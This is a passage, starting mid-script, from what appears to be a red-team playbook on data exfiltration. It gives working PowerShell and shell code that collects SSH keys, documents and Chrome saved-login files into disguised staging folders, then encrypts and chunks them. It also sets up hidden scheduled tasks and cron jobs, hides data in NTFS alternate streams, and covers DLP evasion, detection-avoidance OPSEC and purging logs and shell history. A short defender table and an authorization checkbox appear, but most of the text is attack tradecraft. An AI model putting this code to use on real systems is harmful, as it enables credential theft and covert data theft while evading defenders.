sha256sum /tmp/.X11-unix/.cache/chunk_* > /tmp/.X11-unix/.cache/manifest.sha256
```
### Windows Staging Pipeline
```powershell
# Staging in legitimate-looking directory
$staging = "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\V02"
New-Item -ItemType Directory -Force -Path $staging | Out-Null
# Collect target data
Copy-Item "C:\Users\*\Documents\*.docx" $staging -Force 2>$null
Copy-Item "C:\Users\*\.ssh\*" $staging -Force 2>$null
Copy-Item "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data" $staging -Force 2>$null
# Compress
Compress-Archive -Path "$staging\*" -DestinationPath "$staging\update.zip" -Force
# Encrypt with .NET AES-256
$key = [System.Text.Encoding]::UTF8.GetBytes("EngagementKey2026EngagementKey!!") # 32 bytes
$iv = New-Object byte[] 16
[Security.Cryptography.RandomNumberGenerator]::Fill($iv)
$aes = [Security.Cryptography.Aes]::Create()
$aes.Key = $key; $aes.IV = $iv; $aes.Mode = "CBC"; $aes.Padding = "PKCS7"
$enc = $aes.CreateEncryptor()
$pt = [IO.File]::ReadAllBytes("$staging\update.zip")
$ct = $enc.TransformFinalBlock($pt, 0, $pt.Length)
[IO.File]::WriteAllBytes("$staging\update.enc", $iv + $ct)
# Split into 64KB chunks
$bytes = [IO.File]::ReadAllBytes("$staging\update.enc")
$chunkSize = 65536
for ($i = 0; $i -lt $bytes.Length; $i += $chunkSize) {
$end = [Math]::Min($i + $chunkSize, $bytes.Length)
$chunk = $bytes[$i..($end-1)]
[IO.File]::WriteAllBytes("$staging\chunk_$([Math]::Floor($i/$chunkSize):D4).bin", $chunk)
}
```
### Staging Location Selection
| Location | OS | Stealth Level |
|---------------------------------------|---------|---------------|
| `/tmp/.X11-unix/.cache/` | Linux | High |
| `/dev/shm/.session/` | Linux | High (RAM-backed, no disk) |
| `/var/tmp/.font-cache/` | Linux | Medium |
| `$LOCALAPPDATA\Microsoft\Windows\WebCache\` | Windows | High |
| `$APPDATA\Microsoft\Crypto\RSA\` | Windows | High |
| `C:\Windows\Temp\` | Windows | Medium |
| NTFS Alternate Data Streams | Windows | Very high |
**NTFS ADS staging:**
```cmd
rem Hide data inside an ADS of a legitimate file
type staged.enc > C:\Windows\Temp\desktop.ini:payload.enc
rem Retrieve
more < C:\Windows\Temp\desktop.ini:payload.enc > C:\staged\recovered.enc
```
### Encryption Pipeline
```
Recommended order:
1. Compress (zstd -19 or 7z with LZMA2)
2. Encrypt (AES-256-GCM with random salt + nonce per file)
3. Encode (base64 or base32 depending on channel charset)
4. Split (sized for transport channel)
5. Generate SHA-256 manifest
6. Transmit
7. Verify manifest at receiver
8. Reassemble → Decode → Decrypt → Decompress
```
### AES-256-GCM Encryption (Python)
```python
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib
def aes_encrypt(infile, outfile, password):
salt = get_random_bytes(16)
key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000)
cipher = AES.new(key, AES.MODE_GCM)
with open(infile, "rb") as f:
plaintext = f.read()
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
with open(outfile, "wb") as f:
f.write(salt + cipher.nonce + tag + ciphertext)
def aes_decrypt(infile, outfile, password):
with open(infile, "rb") as f:
blob = f.read()
salt, nonce, tag, ct = blob[:16], blob[16:32], blob[32:48], blob[48:]
key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000)
plaintext = AES.new(key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
with open(outfile, "wb") as f:
f.write(plaintext)
```
### Scheduled Transfer Automation
**Linux — cron-based chunked transfer during business hours:**
```bash
# Exfil one chunk every 30 minutes, Monday-Friday 8am-5pm
(crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.X11-unix/exfil.sh") | crontab -
```
**Windows — Task Scheduler:**
```powershell
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\staged\exfil.ps1"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) `
-RepetitionInterval (New-TimeSpan -Minutes 30) `
-RepetitionDuration (New-TimeSpan -Hours 9)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" `
-Action $action -Trigger $trigger -RunLevel Highest
```
---
## DLP Evasion Techniques
Data Loss Prevention systems inspect content, file types, and transfer
patterns. These techniques reduce the probability of DLP detection.
### File Type Masking
```bash
# Rename to look like an allowed file type
mv staged.enc update_log.txt
mv staged.enc quarterly_report.xlsx
# Change extension to match whitelisted types
cp staged.enc /tmp/image_cache_001.jpg
```
### Archive Nesting
```bash
# Nest archives to exhaust DLP decompression depth
# Most DLP scans 1-3 levels of archive nesting
zip -P inner_key inner.zip staged.enc
zip -P outer_key outer.zip inner.zip
zip -P final_key report.zip outer.zip
# DLP may give up after 2 levels of password-protected archives
```
### Password-Protected Archive
```bash
# Password protection prevents DLP content inspection
7z a -p"EngagementKey" -mhe=on data.7z staged/
# -mhe=on encrypts filenames too — DLP cannot see contents or names
```
### Chunk Size Below DLP Threshold
```
# Many DLP systems trigger on files above a size threshold (e.g., 5MB)
# Split data into chunks below this threshold
split -b 4194304 staged.enc chunk_ # 4MB chunks
# Transfer individually with varied timing
```
### Business Hours Timing
```
# DLP alert fatigue is highest during peak hours
# Exfiltrate during 9am-12pm and 1pm-4pm local business time
# Monday-Thursday preferred (Friday triggers end-of-week reviews)
# Avoid after-hours transfers — lower traffic makes anomalies visible
```
### Protocol Selection by Baseline
```
# Match the protocol with the highest baseline volume:
# Web-heavy org → HTTPS exfil
# Email-heavy org → email exfil (attachment)
# Cloud-heavy org → cloud dead drops (S3/Azure)
# Developer org → GitHub gist / GitLab repo
# Use the channel that generates the most false positives for defenders
```
---
## Detection Surface and Defender Perspective
| Channel | Detection Signal | Defender Tool |
|-------------------|----------------------------------------------------------------|------------------------------------------|
| DNS encoding | High query volume, long subdomains, high entropy labels, unusual record types | Passive DNS analytics, Zeek dns.log, entropy scoring |
| HTTPS tunnel | Persistent TLS sessions, beaconing intervals, JA3 fingerprint mismatch, SNI/Host divergence | TLS inspection proxy, JA3/JA3S, NetFlow analysis |
| ICMP tunnel | Oversized payloads, high ICMP volume, non-standard payload content | IDS payload rules, Zeek conn.log, payload entropy |
| Cloud dead drops | PUT requests to unfamiliar cloud endpoints from internal hosts | CASB, proxy logs, cloud API audit logs |
| Email exfil | Large or encrypted attachments, unusual recipient domains, draft volume spikes | Mail gateway DLP, Exchange transport rules, audit logs |
| Steganography | Statistical entropy anomalies, appended data after format markers, known stego tool signatures | StegExpose, file carving, entropy analysis |
| Covert channels | Anomalous HTTP headers, irregular timing patterns, protocol field anomalies | Deep packet inspection, protocol anomaly detectors, ML traffic analysis |
### OPSEC Guidelines
- Match DNS query rate to the host's baseline — never exceed 50% above normal
- Use browser-matching TLS fingerprints; `curl` and `wget` have distinctive JA3 signatures — use `python requests` or a headless browser for HTTPS exfil
- Keep ICMP payloads at or below the OS default ping size (32 bytes Windows, 56 bytes Linux)
- Rotate cloud bucket/container names between upload sessions
- Schedule transfers during peak business hours when traffic volume provides cover
- Use A/AAAA DNS record types over TXT/NULL — the former are vastly more common
- For timing channels, add random jitter to inter-bit delays
---
## Channel Selection Reference
| Scenario | Recommended Channel | Primary Tool | Throughput | Notes |
|---------------------------------|-----------------------|---------------------|--------------|------------------------------------|
| Only port 53 egress | DNS tunnel | iodine, dnscat2 | 30-100 KB/s | Slow but reliable |
| DNS egress, no infra | DNS query encoding | PacketWhisper | Very slow | No authoritative NS needed |
| Standard web access | HTTPS | chisel, curl | Multi-MB/s | Highest bandwidth |
| Web with domain filtering | Domain fronting | curl + CDN | Multi-MB/s | CDN must permit fronting |
| Ping only | ICMP | ptunnel-ng, icmpsh | 1-50 KB/s | Keys and credentials only |
| Cloud/SaaS access | Cloud dead drop | S3/Azure/GCS URLs | Multi-MB/s | No client tools needed |
| Email available | Email attachment | smtplib, exchangelib| File-sized | Blend with normal attachments |
| Email + no outbound | Draft dead drop | exchangelib | File-sized | Zero SMTP transaction evidence |
| Heavy content inspection | Stego + HTTPS | steghide + curl | Payload-sized| Carrier must pass visual inspection|
| Maximum stealth required | Timing channel | Custom Python | Bits/sec | Near-undetectable |
| Small payload (< 1MB) | DNS TXT encoding | Custom script | Minutes | No tooling required on target |
| Large dataset (> 1GB) | HTTPS or cloud | chisel, presigned | Hours-days | Daily chunk schedule |
| Internal network, same segment | SMB/NFS share | cp, robocopy | GB/s | Lateral, not perimeter exfil |
---
## Pre-Exfiltration Checklist
```
[ ] Verify data exfiltration is explicitly authorized in the Rules of Engagement
[ ] Catalog target data: volume, classification, file types
[ ] Select staging location (see Staging Location table)
[ ] Compress with maximum ratio (zstd -19, 7z LZMA2)
[ ] Encrypt all data (AES-256-GCM minimum) — never transmit plaintext
[ ] Split into channel-appropriate chunks
[ ] Generate SHA-256 integrity manifest
[ ] Test with a canary file first (small, non-sensitive)
[ ] Confirm collector infrastructure is receiving
[ ] Set transfer rate below detection thresholds
[ ] Schedule during business hours for traffic cover
[ ] Verify manifest at collection point — retransmit failed chunks
[ ] Securely wipe staging directory on target
[ ] Remove dropped tools and cancel scheduled tasks
[ ] Purge relevant shell history and log entries
[ ] Document full exfiltration chain for engagement report
```
---
## Tool Reference
| Tool | Channel | URL |
|----------------|------------|--------------------------------------------------|
| dnscat2 | DNS | https://github.com/iagox86/dnscat2 |
| iodine | DNS | https://github.com/yarrick/iodine |
| dns2tcp | DNS | https://github.com/alex-sector/dns2tcp |
| PacketWhisper | DNS stego | https://github.com/TryCatchHCF/PacketWhisper |
| chisel | HTTPS | https://github.com/jpillora/chisel |
| stunnel | TLS wrap | https://www.stunnel.org/ |
| icmpsh | ICMP | https://github.com/bdamele/icmpsh |
| ptunnel-ng | ICMP | https://github.com/lnslbrty/ptunnel-ng |
| steghide | Image stego| https://steghide.sourceforge.net/ |
| zsteg | PNG stego | https://github.com/zed-0xff/zsteg |
| OpenStego | Image stego| https://www.openstego.com/ |
| scapy | Custom pkts| https://scapy.net/ |
---
## MITRE ATT&CK Mapping
| Technique ID | Name |
|-------------|---------------------------------------------|
| T1048 | Exfiltration Over Alternative Protocol |
| T1048.001 | ...Symmetric Encrypted Non-C2 Protocol |
| T1048.002 | ...Asymmetric Encrypted Non-C2 Protocol |
| T1048.003 | ...Unencrypted Non-C2 Protocol |
| T1041 | Exfiltration Over C2 Channel |
| T1567 | Exfiltration Over Web Service |
| T1567.002 | ...Exfiltration to Cloud Storage |
| T1029 | Scheduled Transfer |
| T1030 | Data Transfer Size Limits |
| T1132 | Data Encoding |
| T1132.001 | ...Standard Encoding |
| T1001 | Data Obfuscation |
| T1001.001 | ...Junk Data |
| T1001.002 | ...Steganography |
| T1001.003 | ...Protocol Impersonation |
| T1074 | Data Staged |
| T1074.001 | ...Local Data Staging |